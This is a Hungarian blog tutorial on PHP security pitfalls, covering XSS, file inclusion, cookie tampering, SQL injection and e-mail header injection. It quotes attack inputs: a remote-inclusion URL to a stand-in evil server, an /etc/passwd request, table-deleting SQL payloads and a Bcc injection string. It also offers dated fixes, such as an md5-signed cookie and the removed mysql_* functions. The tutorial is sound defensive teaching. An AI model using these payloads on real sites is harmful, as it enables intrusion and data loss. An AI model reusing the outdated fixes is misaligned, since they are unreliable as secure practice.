A PHP biztonsági buktatói

A PHP biztonsági buktatói

Mi is lehetne fontosabb, mint hogy minél gyorsabb és minél biztonságosabb kódokat tudjunk írni? Ehhez viszont rengeteg tapasztalatra van szükségünk (nem feltétlen PHP nyelven), hogy meglássuk a kódban azokat a pontokat, amiket optimalizálni lehet, illetve amiket ártó szándékkal ki lehet használni. A dolog még annyiban bonyolódik, hogy az optimalizálással ellentétben itt nincsenek különösebb eszközeink (mint például az Advanced PHP Debugger) a gyenge pontok felkutatására.
Persze leggyakrabban nem valami bonyolult algoritmus valamilyen több órás kódbogarászás után felfedezhető sebezhetősége miatt törnek fel egy oldalt, hanem inkább a kódoló figyelmetlenségéből adódó aprónak tűnő hibák miatt.

Így jött a gondolat, hogy csokorba szedek néhány ilyen gyakran elkövetett figyelmetlenséget, hogy minél kevesebben követhessék el ezeket és az ezekhez hasonló a hibákat a jövőben.

Input adatok

Mi is okozhat gondot egy honlappal kapcsolatban? Természetesen a bejövő adatok. Itt első sorban mindenki a $_GET, $_POST változókra gondol, de ugyanakkora (sőt, mivel az ember első körben nem gondolna rájuk, talán még nagyobb) veszélyt jelenthet a $_COOKIE tömb és a $_SERVER tömb egyes elemei is.

A szűretlen adatoknak rengeteg veszélye van. Általában több is, mint arra gondolnánk. Vegyünk egy példát, amiben is van egy vendégkönyvünk, ahol a megjelenő adatokat egyáltalán nem szűrjük. Ezzel a legelső szembeötlő probléma az, hogy a vendégkönybe író felhasználó bármilyen HTML kódot használhat. Nézzük csak, mit is jelenthet ez:

  • Jobb esetben a felhasználó szépen megformázott hozzászólásokat fog beküldeni. Ritka, de nem elképzelhetetlen... :)
  • Rosszabb esetben akár beszúrhat egy <iframe> taget, amiben megjelenítheti akár a saját oldalát, akár bármilyen más oldalt.
  • Ha pechünk van, és valami rosszindulatú hozzáértő téved oldalunkra, akkor elkezdhet valamiféle JavaScriptet (<script>) tenni a hozzászólásába, amivel már szinte bármit elérhet, ha a látogató böngészőjében engedélyezve van a JS, ami nem egy ritka dolog manapság. Csak, hogy egy példát is említsek, JavaScript segítségével ellophatja az oldalra látogatók munkamenet cookie-jait, így amíg azok érvényesek, "be tud lépni" akként a felhasználóként.

Mi a megoldás? Ne jelenítsünk meg az oldalon szűretlen adatokat, sőt, a legjobb, ha már úgy tesszük el az adatbázisba az adatokat, hogy szűrtük őket. Jelen esetben például használható a strip_tags(), a htmlentities() vagy a htmlspecialchars() függvény is. Érdemes mondjuk egy BBCode-szerű formázási rendszert hagyni a felhasználóknak, mint megengedni, hogy HTML tageket használjanak (még ha az szűrve is van a strip_tags() segítségével).

Másik hasonló dolog, ha például /index.php?file=main.html formában jelenítjük meg az oldalakat, valami ilyesmi kóddal:

include('header.html');

if (isset($_GET['file'])) {
    include($_GET['file']);
}
else {
    include('main.html');
}

include('footer.html');

Érezhető probléma van ezzel a kóddal. Ha a php.ini-ben az allow_url_fopen beállítás bekapcsolva van és a kérés a következő: /index.php?file=http://gonoszszerver/gonoszphp.php, akkor bizony csúnyán megszívhatjuk a PHP tartalmától függően (csak hogy egy light-osabb példát említsek: valamilyen config fájl tartalmát kiirathatja a gonosz felhasználó). Itt jegyezném meg azért, hogy ha a gonoszszerveren van PHP, akkor a gonoszphp.php előbb a gonoszszerveren fog lefutni. De ha az allow_url_fopen még nincs is engedélyezve, képzeljünk el egy ilyen vagy ehhez hasonló kérést: /index.php?file=/etc/passwd. Persze, ez esetben szükség van arra is, hogy a webszevert futtató felhasználói fióknak joga legyen olvasni azt a fájlt, ami már magában is egy biztonsági rés, minden esetre nem elképzelhetetlen. Nézzünk egy megoldást is a sok közül, ami megszünteti az ilyen típusú támadásokhoz nyújtott felületet:

include('header.html');

$pages = array('main.html', 'aboutus.html', 'links.html');
if (isset($_GET['file'])) {
    if (in_array($_GET['file'], $pages)) {
        include($_GET['file']);
    }
    else {
        /* itt van lehetőség loggolni a támadási kísérletet */
        include('main.html');
    }
}
else {
    include('main.html');
}

include('footer.html');

A $_COOKIE tömb

Tegyük fel, hogy valami olyan adatot tárolunk sütikben, amik nem szeretnénk, ha megváltoztathatóak legyenek a felhasználó által. A süti, mivel a felhasználó gépén található, ezért tartalma egyszerűen megváltoztatható, így a benne lévő adatokban egyáltalán nem bízhatunk meg. Ennél fogva, ha mondjuk egy saját munkamenet kezelő sütit készítünk, amiben tároljuk a felhasználó azonosítóját és a lejárat idejét, akkor nem szeretnénk, ha mondjuk a felhasználó gondolna egyet és átírhatná az azonosítóját valami másra.

Jön a gondolat, hogy akkor valahogy el kéne kódolni az adatokat, vagy valami hitelesítési megoldást kellene hozzá találni. Az első gondolatra megoldást nyújthat a PHP mcrypt kiterjesztése, ami viszont ha nem áll rendelkezésünkre akkor pechünk van. Így foglalkozzunk inkább az utóbbi dologgal, amivel viszont elvesztjük azt a lehetőséget, hogy olyan adatokat tárolhassunk a sütikben, amiket nem szeretnénk, ha látnának a felhasználók (például a felhasználó jelszavát, de kérdem én, azt mi a francnak tárolnánk el a sütiben):

define('PAGE_PASSWORD', 'valami nehezen megjegyezhető jelszó');

$user_auth = $user_id.';'.time();
setcookie('user_auth', $user_auth);
setcookie('user_auth_validator', md5(PAGE_PASSWORD.$user_auth));

Mint látszik, a dolog lényege, hogy bár kódolatlanul eltároltuk a felhasználó azonosítóját, és a süti kiállításának idejét, de mellékeltünk egy user_auth_validator sütit is, ami az oldal jelszavának és az user_auth sütiben tárolt adat összefűzésének az md5 hash-e. Így egy másik oldalon egyszerűen ellenőrizhetjük, hogy a felhasználó nem-e változtatta meg a süti tartalmát:

if (md5(PAGE_PASSWORD.$_COOKIE['user_auth']) !== $_COOKIE['user_auth_validator']) {
    die('Valami gáz van a sütivel...');
}

A $_SERVER tömb

Legritkábban taln a $_SERVER tömbre gyanakodnánk, mint rosszindulatú adatok hordozóira. Sőt, inkább úgy gondol rá az ember, mint olyan adatok tömbje, amit a webszerver ad át nekünk, és hát abba mi lehet, ami nem biztonságos? Hát van egy pár. A legjobb, ha lefuttatunk egy phpinfo() függvényt, és végignézzük a tömb tartalmát, és mindegyiknél alaposan elgondolkozunk, hogy vajon honnan is származik az az adat, és hogy lehet-e valahogy manipulálni?

Hogy egy példával is alátámasszam szavaimat, vegyük mondjuk a $_SERVER["HTTP_USER_AGENT"] változót. Ez elég gyakori használatban van, például egy vendégkönyvben is akár, ahol a kóder mondjuk letárolja a felhasználó IP címét és a böngészője típusát a hozzászólása mellett. Persze jön a gondolat, hogy ennek a megváltoztatása nem egy egyszerű művelet. Mire jön a válasz, hogy egy frászkarikát nem. Például itt van ez az írás, hogy Firefox alatt hogyan tehető ez meg. Tehát, ha ez az adat az SQL kérésbe ágyazáskor nincs megfelelően lekezelve, akkor csúnya dolgokat lehet művelni a segítségével, ahogy ezt a bejegyzés következő részében ki is fogom fejteni.

SQL injection

Az ilyen típusú támadásokkal lehet talán a legnagyobb károkat okozni, ugyanis - jogosultságtól függően - akár egész adatbázisokat is törölni lehet vele. Épp ezért érdemes kellő figyelmet fordítani minden lekérdezésünkre. A sok rizsa helyett nézzünk inkább rögtön egy példát. A kérés a következő: /script.php?user_id=10. A script.php kódja pedig legyen ez:

mysql_connect('localhost', 'user', 'password');
mysql_select_db('database');

$query = mysql_query("SELECT * FROM users WHERE user_id=".$_GET['user_id']);

Persze, a fenti kéréssel nem lesz semmi gond, lekérdezi az adatbázisból a 10-es id-jű felhasználó adatait. De mi van akkor ha a kérés az a következő: /script.php?user_id=10; DELETE FROM users. Így a lekérdezés az lesz, hogy SELECT * FROM users WHERE user_id=10; DELETE FROM users. Mivel a MySQL támogatja a többszörös lekérdezéseket, emellett nincs visszakérdezés (hogy is lehetne), hogy tényleg törölni szeretnéd-e, ezért egy ilyen kérés után a felhasználók táblád tartalmának búcsút inthetsz.

Igen, lehet azt mondani, hogy "Jaj, de honnan a fészkesből tudná a támadó, hogy hogyan hívják a felhasználók táblámat?". Egyrészt, ez most nem erről szól. Másrészt ez a kód így is, úgy is felelőtlenség, az pedig nem védekezés, hogy a támadó úgysem látja a kódomat, mert hát mi akadályozza meg, hogy annyiszor próbálkozzon, ahányszor csak neki tetszik, méghozzá tulajdonképpen nyom nélkül? A nyom nélkül alatt pedig azt értem, hogy ha az ember nem fér hozzá a webszerver logjaihoz, sohasem fog feltűnni neki, hogy valaki ilyenekkel próbálkozik.

Ez esetben a legjobb megoldás, ha számmá alakítjuk a kapott adatot, így legfeljebb az fordulhat elő, hogy nem fog találni a megadott azonosítónak megfelelő sort. Nézzük hát a módosított kódot:

mysql_connect('localhost', 'user', 'password');
mysql_select_db('database');

$query = mysql_query("SELECT * FROM users WHERE user_id=".(int)$_GET['user_id']);

Ez esetben nem vittük túlzásba a szűrést, inkább csak egy biztonsági átalakításról van szó. Természetesen a felhasználás előtt jóval már ellenőrizhetjük, hogy a kapott adat egyáltalán szám-e, és megtehetjük a szükséges óvintézkedéseket, valamint logot is készíthetünk az esetről. Nézzük még meg a $_SERVER tömbnél említett dolgot:

mysql_connect('localhost', 'user', 'password');
mysql_select_db('database');

mysql_query("INSERT INTO guestbook VALUES (
    '',
    '".$_POST['text']."',
    '".$_SERVER['REMOTE_ADDR']."',
    '".$_SERVER['HTTP_USER_AGENT']."')
");

Ez esetben ha a gonosz felhasználó User Agent-je megszívtad'); DELETE FROM guestbook WHERE ('1 lenne, akkor törölné a guestbook tábla teljes tartalmát. Persze itt már nem használható a fenti (int)-es trükk, valami más után kell néznünk. Az egyik - kevésbé jó - lehetőség az addslashes() lenne, viszont ha tovább keresgélünk akkor megtalálhatjuk a mysql_escape_string() illetve a mysql_real_escape_string() függvényeket is. Ezek azonban csak akkor működnek igazán jól, ha a lekérdezésben rendesen használjuk az idézőjeleket, mivel csak azokat escape-eli ki. Első lekérdezésünk példájával élve, valahogy így:

$query = mysql_query("SELECT * FROM `users` WHERE `user_id`='".mysql_escape_string($_GET['user_id'])."'");

E-mail injection

Ez a támadási forma főleg akkor jöhet elő, ha a spam elkerülése érdekében a felhasználók számára egy űrlapot biztosítunk, hogy tudjanak nekünk levelet küldeni. A felhasználó csak megadja az e-mail címét, a levél témáját és a szövegét, és máris tud levelet küldeni nekünk. De vajon tényleg csak nekünk?

A dolgok könnyebb megértése érdekében talán érdemes a mail() függvény működésébe egy kicsit belemenni. A függvény megadása, ahogy az a PHP referenciában is benne van, a következő: mail(címzett, téma, szöveg, egyéb headerek, egyéb kapcsolók). Ha például meghívjuk a függvényt, így:

mail("felhasznalo@valami.cim", "szia", "levél tartalma", "From: felado@cime.cim");

Abból ez lesz:

To: felhasznalo@valami.cim
Subject: szia
From: felado@cime.cim

levél tartalma

Mivel a levél feladóját, témáját és a tartalmát a felahasználótól kérjük be, ezért a kód valahogy így módosul:

mail($my_mail_address, $_POST['subject'], $_POST['text'], "From: ".$_POST['from']);

Jóhiszeműen bekérjük a felhasználó e-mail címét, hogy úgy tűnjön a levél tőle érkezett hozzánk, megkönnyítve ezzel a saját dolgunkat, erre a gonosz felhasználó ezt adja meg e-mail címnek: "valami@mail.cim\r\nBcc: user1@valami.mail, user2@valami.mail, user3@valami.mail". Ebből pedig ez a levél fog születni:

To: felhasznalo@valami.cim
Subject: szia
From: valami@mail.cim
Bcc: user1@valami.mail, user2@valami.mail, user3@valami.mail

levél tartalma

Tehát a levelet még rajtunk kívül három másik ember is megkapta. Persze ezt nem igazán szeretnénk. Sőt, ha még a sort kiegészíti úgy, hogy tartalmazzon még egy "To:" részt (valahogy így: "valami@mail.cim\r\nBcc: user1@valami.mail\r\nTo: masik@email.cim"), akkor mi meg se fogjuk kapni a levelet. A dolog lényege az, hogy nem szabad a bejövő adatokban megengedni az újsor karaktereket. Ezeket vagy kiszűrjük, vagy csak a bejövő adat első sorát használjuk fel. Ezzel el is kerülhető az e-mail injection.

Egyéb tényezők

Mint az fentebb is látszott, az allow_url_fopen elég nagy gondokat tud okozni, megfelelően felelőtlen PHP kódoló és megfelelően felelőtlen rendszergazda használata mellett. Emellett még gondok lehetnek a register_globals beállítással is, aminek hatására ugyebár a $_POST['valami'] változót $valami néven is elérhetjük. A gond természetsen ott van, hogy a $_GET['valami'] változóból is $valami lesz, így a $valami változót használó kód, aki arra számít, hogy $_POST-ból kap adatokat, $_GET-ből is simán kaphat. De a register_globals miatt, ilyesmi kódokkal is gond lehet:

if ($_POST['name'] === 'name' && $_POST['password'] === 'password') {
    $authorized = true;
}
if ($authorized == true) {
    /* valami bizalmas adat megjelenítése */
}

Bár látszik, hogy a POST adatok elérésére a $_POST tömböt használjuk, de ha a scriptet úgy hívjuk meg, hogy /script.php?authorized=true, akkor a register_globals miatt a második elágazás is igazra értékelődik ki, ha nem küldtük el POST-ban a megfelelő felhasználó nevet és jelszót. Persze a kód register_globals bekapcsolt állapota mellett is könnyen javítható:

$authorized = false;
if ($_POST['name'] === 'name' && $_POST['password'] === 'password') {
    $authorized = true;
}
if ($authorized == true) {
    /* valami bizalmas adat megjelenítése */
}

Mellesleg magának a kódnak egy második hibája is volt, ami miatt a fenti hiba kihasználható lett. Ez a kettős egyenlőségjel használata volt az if ($authorized == true) sorban. Ha a kódban hármas egyenlőségjelet használunk kettős helyett, akkor a GET-ben megadott 'true' stringgel nem értékelte volna ki a kifejezést igaznak a PHP. Ebből bárhol máshol is rengeteg probléma lehet, így - meglátásom szerint legalábbis - érdemes összehasonlítások esetében a hármas egyenlőségjelet preferálni a kettős egyenlőségjellel szemben.

Egy másik probléma a magic_quotes_gpc beállítás lehet. Bár a beállítás azért született, hogy a bejövő adatokban a szimpla és a dupla idézőjeleket automatikusan backslash-el escape-elje növelve ezzel a biztonságot, ez szerintem csak hamis biztonságérzetet ad a kód írójának, ugyanis magic_quotes_gpc bekapcsolt állapota mellett is lehet olyan rosszindulatú adatokat küldeni, amik elérik céljukat. Így érdemesebb minden bejövő adatot saját kézzel szűrni. De a gond természtesen nem csak PHP oldalról jöhet, a MySQL alapértelmezett beállításai tovább ronthatják a helyzetet egy hasonló támadás esetén (gondolok itt a jelszó nélküli root felhasználóra, aki bármilyen hostról csatlakozhat), bár az ilyen hibák csak akkor használhatóak ki igazán, ha PHP oldalon van felület a bejutásra.

Befejezésként nem mondhatok mást, mint hogy szűrjetek, szűrjetek, szűrjetek. Minden nem megbízható forrásból (mint például adatbázis) származó adatot szűrni kell. Nincs kivétel, nincs kifogás. Ehhez persze szükség van arra, hogy ismerjük a dolgok működését, hogy tudjuk egyáltalán mit is kell szűrni. A másik dolog, ami még sosem árt, hogy minden ilyen esemény naplózva legyen, hogy legalább lássuk, ha valaki ilyesmivel próbálkozik.

Hozzáfűznél valamit?

Dobj egy emailt a blog kukac deadlime pont hu címre.

Feliratkoznál?

Az RSS feed-et ajánljuk, ha kedveled a régi jó dolgokat.